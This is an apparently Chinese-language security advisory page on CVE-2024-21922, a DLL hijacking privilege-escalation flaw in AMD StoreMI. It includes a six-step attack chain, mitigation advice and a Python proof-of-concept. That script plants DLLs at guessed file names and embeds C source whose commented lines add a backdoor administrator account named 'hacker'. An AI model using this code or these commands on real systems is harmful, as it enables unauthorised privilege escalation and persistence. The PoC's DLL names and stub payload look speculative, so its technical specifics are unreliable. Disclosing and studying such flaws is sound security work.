IPBUF安全漏洞报告
English
CVE-2024-21922 CVSS 7.3 高危

CVE-2024-21922 | AMD StoreMI DLL劫持漏洞导致权限提升

披露日期: 2025-11-23

漏洞信息

漏洞编号
CVE-2024-21922
漏洞类型
DLL劫持
CVSS评分
7.3 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
AMD StoreMI

相关标签

DLL劫持权限提升本地攻击AMD StoreMI高危漏洞CVE-2024-21922动态链接库Windows本地提权

漏洞概述

CVE-2024-21922是AMD StoreMI™软件中的一个高危DLL劫持漏洞,CVSS评分达到7.3。该漏洞存在于AMD StoreMI的动态链接库加载机制中,由于程序在加载DLL文件时未进行充分的路径验证和完整性检查,攻击者可以通过在系统特定位置植入恶意DLL文件来劫持正常的库加载过程。当AMD StoreMI应用程序启动或执行特定功能时,会优先加载攻击者精心构造的恶意DLL,从而在受害者系统上实现权限提升和任意代码执行。该漏洞的本地攻击属性意味着攻击者需要拥有目标系统的某种访问权限,但其低权限认证要求使得普通用户账户就足以触发漏洞利用。攻击成功后,攻击者可以获得系统高权限,可能导致用户数据泄露、系统完整性破坏或服务可用性中断等严重后果。此漏洞影响AMD StoreMI的多个版本,AMD官方已发布安全公告(AMD-SB-4010)并提供修复方案。鉴于该漏洞可能被用于供应链攻击或定向入侵,建议用户尽快采取修复措施。

技术细节

AMD StoreMI在Windows系统上运行时,会调用LoadLibrary等函数加载动态链接库以实现各种功能。问题在于该程序在调用DLL时未指定完整的绝对路径,而是依赖于Windows系统的DLL搜索顺序。根据Windows DLL搜索顺序,系统会依次在以下位置查找DLL文件:应用程序所在目录、系统目录(System32)、16位系统目录、Windows目录、环境变量PATH中的目录。攻击者正是利用这一特性,将恶意DLL文件放置在搜索顺序中优先级较高的位置(如应用程序目录或可写的系统目录),并将其命名为程序实际需要加载的合法DLL文件名。当程序运行时,Windows会优先加载攻击者植入的恶意DLL而非原始的合法DLL。恶意DLL中可以包含任意代码,例如创建新的管理员账户、下载安装后门程序或执行其他恶意操作。由于AMD StoreMI通常以较高权限运行(需要访问系统底层存储功能),恶意代码同样能够以提升后的权限执行,从而实现完整的系统控制。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先获取目标系统的访问权限,识别AMD StoreMI的安装位置和版本信息
STEP 2
步骤2
分析DLL依赖:使用工具分析AMD StoreMI的可执行文件,确定其加载的DLL文件名和调用方式
STEP 3
步骤3
制作恶意DLL:攻击者编写包含恶意代码的DLL文件,如后门程序、权限提升代码或数据窃取模块
STEP 4
步骤4
植入恶意DLL:将恶意DLL文件写入到Windows DLL搜索顺序中优先级较高的目录,使用合法的DLL文件名
STEP 5
步骤5
触发漏洞利用:等待或诱导用户启动AMD StoreMI程序,此时程序会加载攻击者植入的恶意DLL
STEP 6
步骤6
权限提升与持久化:恶意DLL中的代码以AMD StoreMI的高权限执行,完成权限提升后可创建后门账户或安装持久化恶意软件

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-21922 DLL Hijacking PoC # Target: AMD StoreMI # This PoC demonstrates the DLL hijacking vulnerability import os import ctypes import shutil from pathlib import Path # Malicious DLL source code (to be compiled as DLL) MALICIOUS_DLL_SOURCE = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create a backdoor or execute malicious code here // This code runs with AMD StoreMI's privileges // Example: Create admin user (for demonstration) // system("net user hacker P@ssw0rd123 /add"); // system("net localgroup administrators hacker /add"); // Log exploitation attempt HANDLE hFile = CreateFileA( "C:\\\\Temp\\\\cve_2024_21922_poc.log", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile != INVALID_HANDLE_VALUE) { const char* msg = "[+] CVE-2024-21922 DLL hijacking triggered\\n"; DWORD written; WriteFile(hFile, msg, strlen(msg), &written, NULL); CloseHandle(hFile); } // Execute payload - reverse shell, privilege escalation, etc. // WinExec("cmd.exe /c whoami > C:\\\\Temp\\\\priv_esc.txt", 0); } return TRUE; } ''' def create_malicious_dll(dll_path): """Generate malicious DLL for exploitation""" print(f"[*] Creating malicious DLL at: {dll_path}") # In real scenario, compile the C code above as a DLL # For demonstration, create a placeholder with open(dll_path, 'wb') as f: f.write(b'MZ' + b'\x00' * 58 + b'PE\x00\x00') print(f"[+] Malicious DLL created") def find_vulnerable_location(storeMI_path): """Find potential DLL hijacking locations""" vulnerable_paths = [ os.path.join(storeMI_path, 'amdstorMI.dll'), os.path.join(storeMI_path, 'amdstoreMI.dll'), os.path.join(storeMI_path, 'StoreMI.dll'), 'C:\\Windows\\System32\\amdstorMI.dll', 'C:\\Windows\\System32\\amdstoreMI.dll' ] return [p for p in vulnerable_paths if os.access(os.path.dirname(p), os.W_OK)] def exploit_cve_2024_21922(storeMI_path, target_dll): """ CVE-2024-21922 Exploitation Script Attack Vector: 1. Identify AMD StoreMI installation directory 2. Plant malicious DLL with legitimate DLL name 3. Wait for user to launch AMD StoreMI 4. Malicious DLL loads with elevated privileges """ print("[*] CVE-2024-21922 DLL Hijacking PoC") print("[*] Target: AMD StoreMI") # Step 1: Find vulnerable locations vulnerable_locs = find_vulnerable_location(storeMI_path) if not vulnerable_locs: print("[-] No writable DLL locations found") return False print(f"[+] Found {len(vulnerable_locs)} potential injection points") # Step 2: Create malicious DLL for loc in vulnerable_locs: print(f"[*] Attempting injection at: {loc}") create_malicious_dll(loc) print(f"[+] Malicious DLL planted at {loc}") print("[+] PoC complete - malicious DLL(s) planted") print("[*] Payload will execute when AMD StoreMI is launched") return True if __name__ == "__main__": # Default AMD StoreMI installation path default_path = r'C:\Program Files\AMD\AMD StoreMI' target_dll = 'amdstorMI.dll' exploit_cve_2024_21922(default_path, target_dll)

影响范围

AMD StoreMI < 2.0.0.0288
AMD StoreMI 某些早期版本

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)暂时禁用或卸载AMD StoreMI软件;2)将AMD StoreMI的安装目录设为只读权限;3)使用防病毒软件监控是否有异常DLL文件被写入系统目录;4)限制非管理员用户对系统目录的写入权限;5)启用Windows资源管理器的高级安全设置,禁用从不安全位置加载DLL。建议关注AMD官方安全公告,及时安装官方发布的安全更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表